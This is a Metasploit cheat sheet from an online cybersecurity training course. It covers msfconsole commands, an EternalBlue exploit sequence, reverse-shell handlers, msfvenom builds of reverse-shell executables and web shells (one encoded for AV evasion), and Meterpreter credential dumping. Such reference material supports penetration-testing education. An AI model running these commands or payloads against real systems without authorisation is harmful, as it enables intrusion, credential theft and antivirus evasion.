Cybersecurity Tools Cheat Sheets: Quick Reference Commands and Techniques

Metasploit Cheat Sheet

38 enrolled
~185 min
03-01-2026
1 pt

Chapter Content

Deep dive into cybersecurity fundamentals

Metasploit Cheat Sheet

Complete Exploitation Framework Reference

2000+ exploits • Payloads • Post-exploitation • Msfconsole commands

📅 Updated: December 2024 • ⏱️ 25 min read • 🔧 Metasploit 6.x

📑 Quick Navigation

Basic Commands Searching Exploits Payloads Meterpreter Post-Exploitation Handlers Database

What is Metasploit?

Metasploit Framework is the world's most widely used penetration testing framework. Originally developed by H.D. Moore in 2003, it's now maintained by Rapid7. The framework includes thousands of exploits, hundreds of payloads, and extensive post-exploitation capabilities.

Metasploit comes pre-installed on Kali Linux. The free Community Edition is available at metasploit.com.

📦 Installation & Starting

Kali Linux (Pre-installed)

msfconsole

Start with Database

sudo msfdb init
msfconsole

Start Quietly (No Banner)

msfconsole -q

Execute Commands on Start

msfconsole -x "use exploit/..."

🧭 Basic Navigation Commands

Command Description
help Show all available commands
help <command> Get help for specific command
exit / quit Exit msfconsole
back Go back from current module
banner Display random banner
version Show framework version
history Show command history
connect <ip> <port> Connect to host (like netcat)

🔍 Searching Modules

# Basic search
search <keyword>

# Search by type
search type:exploit <keyword>
search type:auxiliary <keyword>
search type:post <keyword>
search type:payload <keyword>

# Search by platform
search platform:windows <keyword>
search platform:linux <keyword>

# Search by CVE
search cve:2021-44228

# Search by author
search author:hdm

# Combined search
search type:exploit platform:windows smb

# Search by rank (excellent, great, good)
search rank:excellent type:exploit

Module Types

exploit

Exploit vulnerabilities

auxiliary

Scanners, fuzzers, etc.

post

Post-exploitation modules

payload

Shellcode and payloads

encoder

Payload encoding

nop

NOP generators

evasion

AV evasion modules

⚙️ Using Modules

Command Description
use <module> Select a module to use
info Show module information
options / show options Display module options
show advanced Show advanced options
set <option> <value> Set option value
setg <option> <value> Set global option (persists)
unset <option> Clear option value
show payloads List compatible payloads
show targets List exploit targets
check Check if target is vulnerable
run / exploit Execute the module
exploit -j Run as background job

📋 Example: Exploiting EternalBlue

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit

💣 Payloads

Payload Types

Type Description
singles Self-contained payloads (no stager needed)
stagers Small payloads that download the stage
stages Downloaded by stagers (e.g., meterpreter)

Common Payloads

# Windows Meterpreter (staged)
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp

# Windows Meterpreter (stageless)
windows/meterpreter_reverse_tcp
windows/x64/meterpreter_reverse_tcp

# Linux Meterpreter
linux/x86/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp

# Simple shells
windows/shell/reverse_tcp
linux/x86/shell/reverse_tcp

# HTTPS payloads (bypass firewalls)
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

💡 Staged vs Stageless

Staged (/) — smaller initial payload, downloads meterpreter. Stageless (_) — complete payload, larger but more reliable. Use stageless when network restrictions may block the stage download.

🎮 Meterpreter Commands

Core Commands

help Show all commands
background Background current session
exit Terminate meterpreter session
sysinfo System information
getuid Current user ID
getpid Current process ID
ps List running processes
migrate <pid> Migrate to another process
shell Drop to system shell

File System Commands

pwd Print working directory
cd <path> Change directory
ls List files
cat <file> Read file contents
download <file> Download file to attacker
upload <file> Upload file to target
edit <file> Edit file with vim
search -f <pattern> Search for files

Privilege Escalation

getsystem Attempt to get SYSTEM privileges
getprivs List available privileges
hashdump Dump password hashes (requires SYSTEM)
load kiwi Load Mimikatz extension
creds_all Dump all credentials (kiwi)

Network & Pivoting

ipconfig / ifconfig Show network configuration
arp Display ARP cache
route View routing table
portfwd add -l <lport> -p <rport> -r <host> Port forwarding
run autoroute -s <subnet> Add route for pivoting

📡 Handlers & Listeners

# Set up handler for reverse shell
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
set LPORT 4444
run

# Run as background job
exploit -j

# One-liner handler
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker>; set LPORT 4444; run"

🔗 Session Management

Command Description
sessions List all active sessions
sessions -i <id> Interact with session
sessions -k <id> Kill session
sessions -u <id> Upgrade shell to meterpreter
sessions -c <cmd> Run command on all sessions

⚙️ Jobs Management

jobs List running jobs
jobs -k <id> Kill a job
jobs -K Kill all jobs

🔧 Msfvenom Payload Generation

Msfvenom is used to generate standalone payloads outside of msfconsole.

# Windows executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f exe -o shell.exe

# Windows DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o shell.dll

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf

# PHP shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.php

# Python shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.py

# JSP shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.jsp

# ASP shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f asp -o shell.asp

# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o shell.war

# With encoding (AV evasion)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe

Msfvenom Options

-p Payload to use
-f Output format (exe, dll, elf, raw, etc.)
-o Output file
-e Encoder to use
-i Encoding iterations
-b Bad characters to avoid (e.g., \x00\x0a)
-l payloads List all payloads
-l formats List output formats
-l encoders List encoders

🗄️ Database Commands

# Initialize database
sudo msfdb init

# Check database status
db_status

# Create workspace
workspace -a <name>

# Switch workspace
workspace <name>

# Import nmap scan
db_import nmap_scan.xml

# Run nmap from msfconsole
db_nmap -sV -O <target>

# View hosts
hosts

# View services
services

# View vulnerabilities
vulns

# View credentials
creds

# View loot
loot

🎯 Useful Post-Exploitation Modules

# Windows
post/windows/gather/hashdump
post/windows/gather/credentials/credential_collector
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_applications
post/windows/manage/enable_rdp
post/multi/recon/local_exploit_suggester

# Linux
post/linux/gather/hashdump
post/linux/gather/enum_users_history
post/linux/gather/enum_system

# Multi-platform
post/multi/gather/ssh_creds
post/multi/recon/local_exploit_suggester

⚔️ Metasploit Cheat Sheet Complete!

You now have a comprehensive reference for the most powerful exploitation framework in cybersecurity. From enumeration to exploitation to post-exploitation, these commands are used by penetration testers worldwide.

Exploits Payloads Meterpreter Post-Exploitation Msfvenom

Ready to own your next target!

Knowledge Validation

Demonstrate your understanding to earn points and progress

1
Chapter Question

What Metasploit command is used to select an exploit module?

1
Read
2
Validate
3
Complete

Ready to track your progress?

Create a free account to save your progress, earn points, and access 170+ hands-on cybersecurity labs.

Start Learning Free

Course Progress

Track your learning journey

0 /9
0 % Complete
9 Remaining
Course Chapters

No chapters found for this filter

Join 5,000+ hackers learning cybersecurity with hands-on labs. Create Account